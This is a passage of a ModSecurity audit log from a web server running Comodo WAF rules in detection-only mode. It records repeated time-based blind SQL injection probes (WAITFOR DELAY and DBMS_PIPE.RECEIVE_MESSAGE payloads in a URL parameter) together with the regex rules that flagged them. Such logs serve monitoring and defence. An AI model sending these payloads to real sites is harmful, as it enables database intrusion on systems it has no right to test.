"14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89W0NwpNEMJppxC49R0AAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar;WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89W0NwpNEMJppxC49R0AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023515500675 211261 (- - -) Stopwatch2: 1750023515500675 211261; combined=3996, p1=369, p2=3477, p3=0, p4=0, p5=149, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4860346-Z-- --7d5e204b-A-- [16/Jun/2025:03:08:37.050390 +0530] aE89XHZqyQ8YfVGvJU7YqwAAAAY 172.69.150.138 33302 127.0.0.1 7081 --7d5e204b-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.69.150.138 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950537226d825d91-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --7d5e204b-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar);WAITFOR%20DELAY%200:0:5--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --7d5e204b-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%29%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89XHZqyQ8YfVGvJU7YqwAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar');WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89XHZqyQ8YfVGvJU7YqwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023516844810 205708 (- - -) Stopwatch2: 1750023516844810 205708; combined=5007, p1=433, p2=4384, p3=0, p4=0, p5=190, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d5e204b-Z-- --2cd69913-A-- [16/Jun/2025:03:08:38.386254 +0530] aE89XgiLzf5Jb_3uGhHf2wAAAAA 162.158.94.238 33352 127.0.0.1 7081 --2cd69913-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 162.158.94.238 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505372aadcb194d-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --2cd69913-F-- HTTP/1.1 301 Moved Permanently X-Powered-By: PHP/8.2.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://cdn.gtranslate.net/>; rel=dns-prefetch X-Redirect-By: Rank Math Location: https://app.getcalley.com/login.aspx?utm_source=website&utm_medium=top-bar;WAITFOR%20DELAY%200:0:5--&utm_campaign=login-now Vary: Accept-Encoding Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8 --2cd69913-H-- Message: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;*? ?waitfor (?:delay|time) [\\x22'`]|;.{0,399}?: ?goto)|\\balter ?\\w+.{0,399}?\\bcha(?:racte)?r set \\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:select\\s*?pg_sleep)|(?:waitfor\\s*?delay\\s?[\\x22'`]+\\s?\\d)|(?:;\\s*?shutdown\\s*?(?:;|--|#|\\/\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "contains /wp-json/yoast/" against "REQUEST_URI" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "17"] [id "211540"] [rev "14"] [msg "COMODO WAF: Blind SQL Injection Attack||www.getcalley.com|F|2"] [data "Matched Data: WAITFOR DELAY found within REQUEST_URI: /login-now/?utm_source=website&utm_medium=top-bar%27%3BWAITFOR%20DELAY%20%270%3A0%3A5%27--&utm_campaign=login-now"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89XgiLzf5Jb_3uGhHf2wAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;*? ?waitfor (?:delay|time) [\\\\\\\\x22'`]|;.{0,399}?: ?goto)|\\\\\\\\balter ?\\\\\\\\w+.{0,399}?\\\\\\\\bcha(?:racte)?r set \\\\\\\\w+))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "40"] [id "211710"] [rev "6"] [msg "COMODO WAF: Detects MySQL charset switch and MSSQL DoS attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';WAITFOR DELAY '0:0:5' found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89XgiLzf5Jb_3uGhHf2wAAAAA"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:select\\\\\\\\s*?pg_sleep)|(?:waitfor\\\\\\\\s*?delay\\\\\\\\s?[\\\\\\\\x22'`]+\\\\\\\\s?\\\\\\\\d)|(?:;\\\\\\\\s*?shutdown\\\\\\\\s*?(?:;|--|#|\\\\\\\\/\\\\\\\\*|{)))" at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "50"] [id "211750"] [rev "4"] [msg "COMODO WAF: Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';WAITFOR DELAY '0:0:5'-- found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89XgiLzf5Jb_3uGhHf2wAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023518162313 224055 (- - -) Stopwatch2: 1750023518162313 224055; combined=4892, p1=397, p2=4325, p3=0, p4=0, p5=170, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2cd69913-Z-- --79753176-A-- [16/Jun/2025:03:08:39.551571 +0530] aE89X1R6EeXjkGzEkblk5wAAAAs 172.71.172.159 59952 127.0.0.1 7081 --79753176-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28120%29%7C%7CCHR%2880%29%7C%7CCHR%2876%29%7C%7CCHR%2885%29%2C5%29%20FROM%20DUAL--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.159 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 95053732fab7d21a-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --79753176-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --79753176-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89X1R6EeXjkGzEkblk5wAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023519495788 55899 (- - -) Stopwatch2: 1750023519495788 55899; combined=3182, p1=346, p2=2711, p3=0, p4=0, p5=125, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79753176-Z-- --36b26f71-A-- [16/Jun/2025:03:08:39.873761 +0530] aE89Xx-kH31pk4mNbsU_FwAAAAo 172.71.172.159 59978 127.0.0.1 7081 --36b26f71-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28120%29%7C%7CCHR%2880%29%7C%7CCHR%2876%29%7C%7CCHR%2885%29%2C5%29%20FROM%20DUAL--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.71.172.159 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 950537367895d398-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --36b26f71-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6630 Connection: close Content-Type: text/html; charset=UTF-8 --36b26f71-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89Xx-kH31pk4mNbsU_FwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023519823765 50093 (- - -) Stopwatch2: 1750023519823765 50093; combined=3215, p1=379, p2=2709, p3=0, p4=0, p5=127, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36b26f71-Z-- --fbe41118-A-- [16/Jun/2025:03:08:40.416685 +0530] aE89YLsEVBap6l1Fvp1AFgAAAAQ 172.70.248.31 60010 127.0.0.1 7081 --fbe41118-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%29%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28120%29%7C%7CCHR%2880%29%7C%7CCHR%2876%29%7C%7CCHR%2885%29%2C5%29%20FROM%20DUAL--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.31 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505373868234e32-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --fbe41118-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6631 Connection: close Content-Type: text/html; charset=UTF-8 --fbe41118-H-- Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar');SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89YLsEVBap6l1Fvp1AFgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023520364462 52328 (- - -) Stopwatch2: 1750023520364462 52328; combined=4253, p1=371, p2=3762, p3=0, p4=0, p5=119, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fbe41118-Z-- --90dc2332-A-- [16/Jun/2025:03:08:40.737082 +0530] aE89YFR6EeXjkGzEkblk6AAAAAs 172.70.248.99 60026 127.0.0.1 7081 --90dc2332-B-- GET /login-now/?utm_source=website&utm_medium=top-bar%27%3BSELECT%20DBMS_PIPE.RECEIVE_MESSAGE%28CHR%28120%29%7C%7CCHR%2880%29%7C%7CCHR%2876%29%7C%7CCHR%2885%29%2C5%29%20FROM%20DUAL--&utm_campaign=login-now HTTP/1.0 Host: www.getcalley.com X-Real-IP: 172.70.248.99 X-Forwarded-For: 91.92.46.79 Connection: close cache-control: no-cache accept-encoding: gzip, br accept: */* cf-ray: 9505373bd906cb3f-FRA cf-ipcountry: DE user-agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 cf-visitor: {"scheme":"https"} x-forwarded-proto: https cdn-loop: cloudflare; loops=1 cf-connecting-ip: 91.92.46.79 cookie: csrf_https-contao_csrf_token=PrcpxRe_k0dInSFlk5XWc0ikSk91StIwIVtJ_cNkHyo --90dc2332-F-- HTTP/1.1 403 Forbidden X-Powered-By: PHP/8.2.28 Pragma: no-cache Cache-Control: no-cache, must-revalidate, private, max-age=0 Expires: Sat, 26 Jul 1997 05:00:00 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 6631 Connection: close Content-Type: text/html; charset=UTF-8 --90dc2332-H-- Message: Warning. Pattern match "(?i:(?:[\\x22'`](?:;? ?\\b(?:having|select|union)\\b ?[^\\s]| ?! ?[\\x22'`\\w])|\\b(?:c(?:onnection_id|urrent_user)|database)\\b ?\\(|\\bunion\\b[\\w(\\s]*?select\\b|\\buser ?\\(|\\bschema ?\\(|\\bselect.{0,399}?\\w?\\buser ?\\(|\\binto[\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL found within MATCHED_VAR: top-bar';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Message: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\[(]?\\b\\w{2,}|\\bcreate function .+ returns\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:[\\\\\\\\x22'`](?:;? ?\\\\\\\\b(?:having|select|union)\\\\\\\\b ?[^\\\\\\\\s]| ?! ?[\\\\\\\\x22'`\\\\\\\\w])|\\\\\\\\b(?:c(?:onnection_id|urrent_user)|database)\\\\\\\\b ?\\\\\\\\(|\\\\\\\\bunion\\\\\\\\b[\\\\\\\\w(\\\\\\\\s]*?select\\\\\\\\b|\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\bschema ?\\\\\\\\(|\\\\\\\\bselect.{0,399}?\\\\\\\\w?\\\\\\\\buser ?\\\\\\\\(|\\\\\\\\binto[\\\\\\\\s+]+(?:dump|o ..." at MATCHED_VAR. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "27"] [id "211650"] [rev "12"] [msg "COMODO WAF: Detects MSSQL code execution and information gathering attempts||www.getcalley.com|F|2"] [data "Matched Data: top-bar';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL found within MATCHED_VAR: top-bar';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89YFR6EeXjkGzEkblk6AAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Pattern match "(?i:(?:; ?(?:(?:(?:trunc|cre|upd)at|renam)e|(?:inser|selec)t|de(?:lete|sc)|alter|load) ?[\\\\\\\\[(]?\\\\\\\\b\\\\\\\\w{2,}|\\\\\\\\bcreate function .+ returns\\\\\\\\b))" at ARGS:utm_medium. [file "/etc/apache2/modsecurity.d/rules/comodo_free/22_SQL_SQLi.conf"] [line "63"] [id "211820"] [rev "4"] [msg "COMODO WAF: Detects MySQL UDF injection and other data/structure manipulation attempts||www.getcalley.com|F|2"] [data "Matched Data: ;SELECT DBMS_PIPE found within ARGS:utm_medium: top-bar';SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(120)||CHR(80)||CHR(76)||CHR(85),5) FROM DUAL"] [severity "CRITICAL"] [tag "CWAF"] [tag "SQLi"] [hostname "www.getcalley.com"] [uri "/login-now/"] [unique_id "aE89YFR6EeXjkGzEkblk6AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/getcalley.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750023520686038 51153 (- - -) Stopwatch2: 1750023520686038 51153; combined=4062, p1=448, p2=3444, p3=0, p4=0, 